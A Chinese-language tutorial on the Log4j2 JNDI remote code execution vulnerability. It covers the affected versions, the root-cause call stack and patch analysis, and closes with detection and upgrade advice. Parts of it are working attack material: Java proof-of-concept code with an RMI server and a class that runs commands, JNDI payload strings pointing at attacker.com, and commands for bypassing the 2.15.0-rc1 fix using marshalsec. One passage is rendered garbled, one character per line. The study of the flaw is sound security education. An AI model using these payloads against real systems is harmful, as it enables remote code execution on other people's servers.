Log4j2远程执行代码漏洞如何攻击? 又如何修复

Log4j2远程执行代码漏洞如何攻击? 又如何修复

12月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 因该组件使用极为广泛,利用门槛很低,危害极建议所有用户尽快升级到安全版本。

漏洞描述

高危,该漏洞影响范围极广,利用门槛很低,危害极大。

CVSS评分:10(最高级)

漏洞细节 漏洞PoC 漏洞EXP 在野利用
已公开 已知 已知 已发现

漏洞版本影响

Apache log4j2 2.0 - 2.14.1 版本均受影响。

安全版本

Apache log4j-2.15.0-rc2 (2.15.0-rc1版)

区分是Log4j还是Log4j2

有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

  1. Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar
  2. Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
  3. Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

漏洞复现

漏洞攻击步骤

  • 攻击者执行恶意脚本。
  1. 用户发送数据到服务器,不管什么协议,http也好,别的也好
  2. 服务器记录用户请求中的数据,数据中包含恶意payload:${jndi:ldap://attacker.com/a},其中attacker.com是攻击者的服务器
  3. log4j向attacker.com发送请求(jndi)时触发漏洞,因为有个$符号
  4. log4j收到的jndi响应中包含一个java class文件路径,比如是 http://second-stage.attacker.com/Exploit.class,这个class文件会被log4j所运行在的服务器加载运行
  5. 第4步中注入的java class文件中的代码是攻击者的攻击代码

img

操作系统 windows10
jdk: jdk1.8

需要的依赖

 <!--log4j2核心包-->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.0</version>
            </dependency>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.0</version>
            </dependency>
            <!--使用yml配置log4j2-->
            <dependency>
                <groupId>com.fasterxml.jackson.dataformat</groupId>
                <artifactId>jackson-dataformat-yaml</artifactId>
                <version>2.12.3</version>
            </dependency>
            <!-- slf4j核心包-->
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>slf4j-api</artifactId>
                <version>1.7.32</version>
            </dependency>
            <!--用于与slf4j保持桥接-->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-slf4j-impl</artifactId>
                <version>2.14.0</version>
            </dependency>
        <!--log4j2核心包-->

项目目录结构

在这里插入图片描述

模拟运行存在漏洞log4j2的服务器

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

/**
 * @Title: 模拟运行存在漏洞log4j2的服务器
 * @ClassName: geektime.log.ServerTest.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class ServerTest {

    private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);

    public static void main(String[] args) {

        //有些高版本jdk需要打开此行代码
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        // 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        // ${jndi:rmi//127.0.0.1:1099/evil},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";
        //正常打印业务日志
        logger.error("username:{}",username);
    }
}

准备好RMI服务端,等待受害服务器访问

package geektime.log;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


/**
 * @Title: 准备好RMI服务端,等待受害服务器访问
 * @ClassName: geektime.log.RMIServer.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class RMIServer {
    public static void main(String[] args) {
        try {
            // 本地主机上的远程对象注册表Registry的实例,默认端口1099
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099");
            //返回的Java对象 第一个参数为包路径
            Reference reference = new Reference("geektime.log.EvilCode","geektime.log.EvilCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 把远程对象注册到RMI注册服务器上,并命名为evil
            registry.bind("evil",referenceWrapper);
            // registry.bind("evil",new EvilCode());
        } catch (RemoteException | AlreadyBoundException | NamingException e) {
            e.printStackTrace();
        }
    }
}

恶意代码(打开计算器)

package geektime.log;

import java.io.*;
import java.rmi.Remote;


/**
 * @Title: 执行任意的脚本,目前的脚本会使windows打开计算器
 * @ClassName: geektime.log.EvilCode.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class EvilCode  {
    static {
        System.out.println("受害服务器将执行下面命令行");
        Process p;

        String[] cmd = {"calc"};
        try {
            p = Runtime.getRuntime().exec("calc");
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


}

效果

在这里插入图片描述

问题记录

类名打印出来了,但是没有启动计算器

仅输出:username:Reference Class Name: EvilCode,未调用计算器

Reference reference = new Reference("log.EvilCode","log.EvilCode",null);

第一个和第二个参数为包路径, 需要更具自己的情况调整修改

漏洞攻击原理

JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

NDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。

JNDI API是应用程序调用的接口,

JNDI SPI是具体实现,

应用程序需要指定具体实现的SPI。

下图是官方对JNDI介绍的架构图:

JNDI

Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出:

/**
 * @Title: Log4j2的Lookup功能
 * @ClassName: geektime.log.Log4j2Lookup.java
 * @Description:
 *
 * @Copyright 2020-2021 - Powered By 研发中心
 * @version V1.0
 */
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);

    public static void main(String[] args) {
        ThreadContext.put("userName", "琦彦同学,你好");
        LOGGER.error("userName: ${ctx:userName}");
    }
}

输出结果

16:33:21.448 [main] ERROR geektime.log.Log4j2Lookup - userName: 琦彦同学,你好

从上面的例子可以看到,通过在日志字符串中加入"

c

t

x

:

u

s

e

r

N

a

m

e

"

L

o

g

4

j

2

L

o

g

4

j

2

T

h

r

e

a

d

C

o

n

t

e

x

t

u

s

e

r

N

a

m

e

"

{ctx:userName}",Log4j2在输出日志时,会自动在Log4j2的`ThreadContext`中查找并引用`userName`变量。格式类似"

ctx:userName"Log4j2Log4j2ThreadContextuserName"{type:var}",即可以实现对变量var的引用。type可以是如下值:

  • ctx:允许程序将数据存储在 Log4j ThreadContextMap 中,然后在日志输出过程中,查找其中的值。
  • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}
  • java:允许查找Java环境配置信息。例如:${java:version}
  • jndi:允许通过 JNDI 检索变量。

其中和本次漏洞相关的便是jndi,例如上文漏洞浮现中模拟的:${jndi:rmi://127.0.0.1:1099/evil},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。

 import org.apache.log4j.Logger;
 
 import java.io.*;
 import java.sql.SQLException;
 import java.util.*;
 
 public class VulnerableLog4jExampleHandler implements HttpHandler {
 
   static Logger log = Logger.getLogger(log4jExample.class.getName());
 
   /**
    * A simple HTTP endpoint that reads the request's User Agent and logs it back.
    * This is basically pseudo-code to explain the vulnerability, and not a full example.
    * @param he HTTP Request Object
    */
   public void handle(HttpExchange he) throws IOException {
     string userAgent = he.getRequestHeader("user-agent");
     
     // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
     // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
     log.info("Request User Agent:" + userAgent);
 
     String response = "<h1>Hello There, " + userAgent + "!</h1>";
     he.sendResponseHeaders(200, response.length());
     OutputStream os = he.getResponseBody();
     os.write(response.getBytes());
     os.close();
   }
 }

根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

JNDI注入

由前面的例子可以看到,JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。

“class文件加载到本地JVM中,并通过适当的方式创建对象”,在这个过程中,static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。

JNDI注入原理

由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

1639970856_61bff82870e443c2e18a9.png!small?1639970855838

整个调用堆栈较深,这里把几个关键点提取整理如下:

LOGGER.error
  ......
    MessagePatternConverter.format
      ....
        StrSubstitutor.resolveVariable
          Interpolator.lookup
            JndiLookup.lookup
              JndiManager.lookup
                InitialContext.lookup

1. MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

1639970877_61bff83dadfc6bff8dc23.png!small?1639970877452

2. StrSubstitutor.resolveVariable()

StrSubstitutor将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

1639970895_61bff84f970370bf047c6.png!small?1639970895672

3. Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

1639970919_61bff867ed2530d26afbf.png!small?1639970920595

4. JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

1639970936_61bff878ef785d7ed051b.png!small?1639970936629

5. JndiManager.lookup()

JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。

至此,后续即可以按照常规的JNDI注入路径进行分析。

漏洞补丁分析

2.15.0-rc1

通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

除去一些测试代码和辅助代码,该commit最主要内容是在上文中提到的 JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols

1639970959_61bff88f9b631f3b23977.png!small?1639970959567

各个限制的内容分别如下:

1639970982_61bff8a6554b74c968197.png!small?1639970985266

1639971001_61bff8b97170828d28da6.png!small?1639971001395

1639971016_61bff8c885762c153229e.png!small?1639971016605

可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为javaldapldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

4.2 2.15.0-rc2

4.2.1 rc1中存在的问题

在rc1还未正式成为release版本之前,Log4j团队又在两天不到的时间里发布了rc2版本,说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构:

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    ......
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        ......
                        return null;
                    }
                    ......
                    if (!allowedClasses.contains(className)) {
                        ......
                        return null;
                    }
                    ......
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

从上面的代码结构中可以总结如下的逻辑:

  • 对传入的name参数进行4.1章节提到的各类检查。如果检查不通过,则直接返回null
  • 如果产生URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)
  • 如果未产生URISyntaxException,则执行this.context.lookup(name)

我们重点关注catch代码块,rc1默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)

再看下try代码块中可能产生URISyntaxException的地方。很不幸,try代码块的第一个语句即可能产生该异常:URI uri = new URI(name);

试想一下,如果能够构造某个特殊的URI,导致URI uri = new URI(name);语句解析URI异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?

4.2.2 绕过rc1

由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:

到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。

由于rc1默认未开启Lookup功能,需要先开启,可以通过在配置文件的%msg中添加{lookup}进行开启。在当前类路径下添加log4j2.xml,内容参考如下:

<Configuration>
    <Appenders>
        <Console name="CONSOLE">
            <PatternLayout>
                <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="DEBUG">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>
  1. 漏洞利用代码和上文中一致,编译生成Exploit.class。

  2. 本地执行python3 -m http.server 8081,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

  3. 由于rc1中默认仅支持javaldapldaps这三种协议,就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦,这里直接利用下marshalsec这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888,启动LDAP服务。

  4. 编写漏洞poc代码,并编译运行。代码和运行结果如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RC1Bypass {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://127.0.0.1:8888/exp}");
    }
}

1639971053_61bff8ed7d150d4a2f512.png!small?1639971052644

可以看到,通过构建一个简单的带空格的异形URI地址(127.0.0.1:8888/exp之间),rc1被绕过了。

4.2.3 rc2的修复方案

通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:当URISyntaxException异常被捕获时,直接返回null。从而无法使用上一章节的异形URI地址绕过。

1639971075_61bff9030dce220832070.png!small?1639971073531

漏洞修复建议

检测方案

(1)建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求.

(2)建议企业可以通过监测相关流量或者日志中是否存在jndi:ldap://jndi:rmi等字符来发现可能的攻击行为。

修复方案

检查所有使用了 Log4j 组件的系统,并尽快升级到最新的 log4j-2.15.0-rc2 版本

参考连接:

  • Log4j2 Lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html
  • Oracle JNDI官方文档: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
  • 一篇JNDI注入原理文章: http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
  • marshalsec: https://github.com/mbechler/marshalsec
  • Log4j2 2.14.1和2.15.0-rc1的区别比较: https://github.com/apache/logging-log4j2/compare/rel/2.14.1…log4j-2.15.0-rc1
  • Log4j2 2.15.0-rc1和rc2的区别比较: https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1…log4j-2.15.0-rc2
  • https://www.freebuf.com/vuls/316143.html
  • https://help.aliyun.com/product/29500.html
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码

)">
< <上一篇
下一篇>>